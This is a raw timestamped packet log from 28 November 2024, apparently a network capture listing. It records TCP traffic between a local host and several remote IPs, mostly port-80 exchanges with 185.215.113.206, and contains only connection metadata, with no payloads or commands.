Nov 28, 2024 02:27:42.633260965 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.633285999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.634139061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.634150028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.634195089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.634661913 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.634757042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.634788036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.634824038 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.635691881 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.635776043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.635838032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.635879040 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.637162924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.637175083 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.637231112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.638223886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.638237953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.638277054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.638780117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.638832092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.638936043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.638968945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.640185118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.640197039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.640254021 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.640871048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.640928984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.641045094 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.641102076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.641901016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.641993046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.642047882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.642091990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.642954111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.643002033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.643281937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.643335104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.643925905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.643982887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.644062042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.644340038 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.644970894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.645081043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.645126104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.646019936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.646055937 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.646136999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.646184921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.647039890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.647151947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.647218943 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.648273945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.648286104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.648344994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.649096966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.649146080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.649187088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.649230957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.650113106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.650160074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.650240898 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.650281906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.651352882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.651420116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.651509047 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.651644945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.652194023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.652254105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.652323961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.652417898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.653227091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.653326988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.653381109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.654258966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.654398918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.654413939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.654499054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.655292988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.655355930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.655397892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.655632019 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.656929970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.656941891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.656995058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.657016993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.657820940 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:42.658504009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.658515930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.658579111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.658734083 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:42.658751011 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:42.659085035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.659096956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.659137964 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:42.659185886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.659425020 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:42.659496069 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:42.659569979 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:42.660458088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.660475016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.660517931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.661350965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.661362886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.661449909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.661449909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.662034988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.662053108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.662087917 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.662120104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.663124084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.663136005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.663213968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.663213968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.664172888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.664186001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.664271116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.664271116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.664832115 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.664844990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.664889097 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.665920973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.665934086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.665971994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.666002989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.666640997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.666795969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.666845083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.667860031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.667917013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.668147087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.668224096 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.668817043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.668834925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.668869019 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.668885946 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.669761896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.669871092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.669920921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.671169996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.671181917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.671252012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.671262980 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.672028065 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672065020 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672070980 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672085047 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672105074 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672111988 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672137976 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.672137976 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.672152042 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.672189951 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.672189951 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.672213078 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.672224998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.672256947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.672945976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.673073053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.673132896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.673382998 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.674041986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.674052954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.674088955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.674107075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.674637079 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674664974 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674671888 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674688101 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674695015 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674705982 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674724102 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.674738884 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.674757004 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.674823999 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.675460100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.675472975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.675501108 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.675515890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.676523924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.676544905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.676584959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.676609993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.677539110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.677565098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.677601099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.678318977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.678369045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.678833961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.678877115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.679928064 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.679941893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.679985046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.680844069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.680887938 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.680910110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.680926085 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.682349920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.682363033 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.682446003 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.683626890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.683656931 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.683693886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.707336903 CET	443	49873	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:42.722448111 CET	49873	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:42.765943050 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:42.766205072 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:42.766223907 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:42.766557932 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:42.766853094 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:42.766918898 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:42.766994953 CET	49874	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:42.811326981 CET	443	49874	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:42.829787970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.829875946 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.829931974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.830040932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.830043077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.830079079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.830173016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.830809116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.831059933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.831172943 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.831234932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.832086086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.832170963 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.832215071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.832320929 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.833050966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.833210945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.833246946 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.833859921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.833971977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.833998919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.834012032 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.834873915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.834940910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.834992886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.835064888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.835916996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.835975885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.836071014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.836106062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.836983919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.837047100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.837110996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.837146044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.837995052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.838059902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.838124037 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.838282108 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.839021921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.839076996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.839144945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.839231014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.840060949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.840240002 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.840298891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.841109991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.841186047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.841216087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.841259956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.842120886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.842246056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.842295885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.843168020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.843234062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.843259096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.843322039 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.844189882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.844244957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.844284058 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.844329119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.845220089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.845304966 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.845338106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.846251011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.846304893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.846355915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.846493006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.847501993 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.847513914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.847691059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.847954988 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.847970009 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.848002911 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.848025084 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.848042011 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.848052025 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.848134995 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.848309040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.848378897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.848418951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.848527908 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.849342108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.849411011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.849472046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.849519968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.850394964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.850486994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.850495100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.850653887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.851434946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.851531029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.851562977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.851582050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.852462053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.852520943 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.852559090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.852617979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.853516102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.853594065 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.853621960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.853799105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.854526043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.854584932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.854624033 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.854671001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.855612040 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.855622053 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.855655909 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.855681896 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.855686903 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.855794907 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.855798960 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.855869055 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.855880976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.855921030 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.855921030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.855937958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.856643915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.856739998 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.856750011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.856803894 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.857727051 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.857784033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.857935905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.858105898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.858678102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.858726025 CET	49823	80	192.168.2.6	185.215.113.206
